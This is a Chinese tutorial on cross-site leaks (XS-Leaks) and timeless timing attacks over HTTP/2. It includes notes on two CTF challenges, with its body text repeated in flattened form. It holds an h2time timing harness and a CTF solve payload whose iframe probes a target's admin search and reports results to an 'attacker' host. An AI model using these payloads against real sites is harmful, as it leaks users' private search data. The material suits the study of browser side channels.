浅谈XS-Leaks之Timeless timing attck
字数 1736 2025-08-29 08:32:30

浅谈XS-Leaks之Timeless Timing Attack

1. XS-Leaks简介

1.1 什么是XS-Leaks?

Cross-site leaks(又名XS-Leaks、XSLeaks)是一类源自Web平台内置侧通道的漏洞。它们利用网络可组合性核心原则,允许网站相互交互,并滥用合法机制来推断用户信息。

1.2 XS-Leaks和CSRF的区别

  • CSRF:让受害者执行某些操作
  • XS-Leaks:探测用户敏感信息

1.3 XS-Leaks的利用原理和使用条件

原理:利用网站交互过程中暴露的小块信息,使用Web上可用的侧信道探测用户敏感信息。

典型场景

  • 网站存在模糊查找功能(前缀匹配返回结果)
  • 页面有XSS漏洞
  • 不同用户查询结果集不同
  • CORS配置正确阻止直接获取响应

侧信道来源

  1. 浏览器API(如Frame Counting和Timing Attacks)
  2. 浏览器实现细节和bugs(如Connection Pooling和typeMustMatch)
  3. 硬件bugs(如Speculative Execution Attacks)

利用条件

  • 网页具有模糊查找功能
  • 可构成二元结果(成功/失败)
  • 二元结果差异可通过侧信道技术探测

2. 网络计时攻击

2.1 传统计时攻击

原理

  1. 发送两个请求:
    • 查询不可能存在的字符
    • 查询需要确认是否存在的字符
  2. 通过时间差异判断字符是否存在

局限性

  1. 受网络因素影响大
  2. 高延迟导致攻击效果差
  3. 需要大量测试请求(成百上千次)
  4. 受害者需持续访问攻击网站

2.2 Timeless Timing攻击

2.2.1 原理

核心思想

  • 不测量绝对时间,而是比较两个请求的返回顺序
  • 通过并发请求避免网络抖动影响

实现方式

  1. 多路复用:利用HTTP/2并发流机制使请求同时发送到达
  2. 报文封装:使用可封装多个数据流的协议(如HTTP/1.1 over Tor/VPN)

判断标准

  • 无延迟时:两个报文返回顺序概率各50%
  • 有延迟时:延迟报文先返回概率明显<50%

2.2.2 优点

  1. 不受网络抖动和不确定延迟影响
  2. 远程攻击性能与本地攻击相当
  3. 所需请求数量远少于传统方法

3. 实践应用

3.1 基础示例

使用h2time库实现:

from h2time import H2Time, H2Request
import asyncio

async def run_two_gets():
    r1 = H2Request('GET', 'https://example.com/?1')
    r2 = H2Request('GET', 'https://example.com/?2')
    async with H2Time(r1, r2, num_request_pairs=5) as h2t:
        results = await h2t.run_attack()
        # 分析结果...

loop = asyncio.get_event_loop()
loop.run_until_complete(run_two_gets())

3.2 [WCTF 2020]Spaceless Spacing

考点:HTTP/2多路复用

HTTP版本对比

版本 传输方式 效果
HTTP1.0 原始方式 一个TCP只有一个请求和响应
HTTP1.1 keepalive 复用TCP,顺序执行
HTTP1.1 pipeline 同时发送多个请求,顺序响应
HTTP2.0 Multiplexing 并发处理,乱序返回

3.3 [TQLCTF 2022]A More Secure Pastebin

考点

  1. XS-Leaks + Timeless Timing
  2. HTTP/2 Concurrent Stream
  3. TCP拥塞控制

解题步骤

  1. 提交包含恶意JS的页面链接
  2. JS执行:
    • POST过大body阻塞TCP信道
    • 发送两个fetch请求探测字符串
    • 利用TCP Nagle算法使请求放入同一TCP报文
    • 使用Promise.all检测返回顺序
  3. 重复多次统计概率
  4. 根据结果频率判断字符

关键代码

<script>
    const start = Date.now();
    abc = () => {
        const end = Date.now();
        new XMLHttpRequest().open('get',`http://attacker/result?word={{word}}&ms=${end-start}`,true).send();
    }
</script>
<iframe src="https://target/admin/search?word={{word}}" onload="abc()"></iframe>

4. 总结与拓展

4.1 总结

  1. Timeless timing攻击不受网络抖动影响
  2. 远程攻击性能与本地相当
  3. 适用于多路复用协议或封装传输协议
  4. 所有标准协议都可能受影响

4.2 HTTP/1.1下的应用

利用pipeline特性

  1. 强制顺序响应
  2. 单线程顺序处理
  3. 通过放大时间差(如发送1000个相同请求)使微小差异变得可测

限制因素

  • 服务器中间件配置(如Apache默认最大100个pipeline请求)
  • 无限制时可无限放大时间差

5. 参考资料

  1. Timeless Timing Attacks论文
  2. XS-Leaks攻击手册
  3. HTTP/2多路复用机制
  4. TCP Nagle算法
浅谈XS-Leaks之Timeless Timing Attack 1. XS-Leaks简介 1.1 什么是XS-Leaks? Cross-site leaks(又名XS-Leaks、XSLeaks)是一类源自Web平台内置侧通道的漏洞。它们利用网络可组合性核心原则,允许网站相互交互,并滥用合法机制来推断用户信息。 1.2 XS-Leaks和CSRF的区别 CSRF:让受害者执行某些操作 XS-Leaks:探测用户敏感信息 1.3 XS-Leaks的利用原理和使用条件 原理 :利用网站交互过程中暴露的小块信息,使用Web上可用的侧信道探测用户敏感信息。 典型场景 : 网站存在模糊查找功能(前缀匹配返回结果) 页面有XSS漏洞 不同用户查询结果集不同 CORS配置正确阻止直接获取响应 侧信道来源 : 浏览器API(如Frame Counting和Timing Attacks) 浏览器实现细节和bugs(如Connection Pooling和typeMustMatch) 硬件bugs(如Speculative Execution Attacks) 利用条件 : 网页具有模糊查找功能 可构成二元结果(成功/失败) 二元结果差异可通过侧信道技术探测 2. 网络计时攻击 2.1 传统计时攻击 原理 : 发送两个请求: 查询不可能存在的字符 查询需要确认是否存在的字符 通过时间差异判断字符是否存在 局限性 : 受网络因素影响大 高延迟导致攻击效果差 需要大量测试请求(成百上千次) 受害者需持续访问攻击网站 2.2 Timeless Timing攻击 2.2.1 原理 核心思想 : 不测量绝对时间,而是比较两个请求的返回顺序 通过并发请求避免网络抖动影响 实现方式 : 多路复用 :利用HTTP/2并发流机制使请求同时发送到达 报文封装 :使用可封装多个数据流的协议(如HTTP/1.1 over Tor/VPN) 判断标准 : 无延迟时:两个报文返回顺序概率各50% 有延迟时:延迟报文先返回概率明显 <50% 2.2.2 优点 不受网络抖动和不确定延迟影响 远程攻击性能与本地攻击相当 所需请求数量远少于传统方法 3. 实践应用 3.1 基础示例 使用h2time库实现: 3.2 [ WCTF 2020 ]Spaceless Spacing 考点 :HTTP/2多路复用 HTTP版本对比 : | 版本 | 传输方式 | 效果 | |------|----------|------| | HTTP1.0 | 原始方式 | 一个TCP只有一个请求和响应 | | HTTP1.1 | keepalive | 复用TCP,顺序执行 | | HTTP1.1 | pipeline | 同时发送多个请求,顺序响应 | | HTTP2.0 | Multiplexing | 并发处理,乱序返回 | 3.3 [ TQLCTF 2022 ]A More Secure Pastebin 考点 : XS-Leaks + Timeless Timing HTTP/2 Concurrent Stream TCP拥塞控制 解题步骤 : 提交包含恶意JS的页面链接 JS执行: POST过大body阻塞TCP信道 发送两个fetch请求探测字符串 利用TCP Nagle算法使请求放入同一TCP报文 使用Promise.all检测返回顺序 重复多次统计概率 根据结果频率判断字符 关键代码 : 4. 总结与拓展 4.1 总结 Timeless timing攻击不受网络抖动影响 远程攻击性能与本地相当 适用于多路复用协议或封装传输协议 所有标准协议都可能受影响 4.2 HTTP/1.1下的应用 利用pipeline特性 : 强制顺序响应 单线程顺序处理 通过放大时间差(如发送1000个相同请求)使微小差异变得可测 限制因素 : 服务器中间件配置(如Apache默认最大100个pipeline请求) 无限制时可无限放大时间差 5. 参考资料 Timeless Timing Attacks论文 XS-Leaks攻击手册 HTTP/2多路复用机制 TCP Nagle算法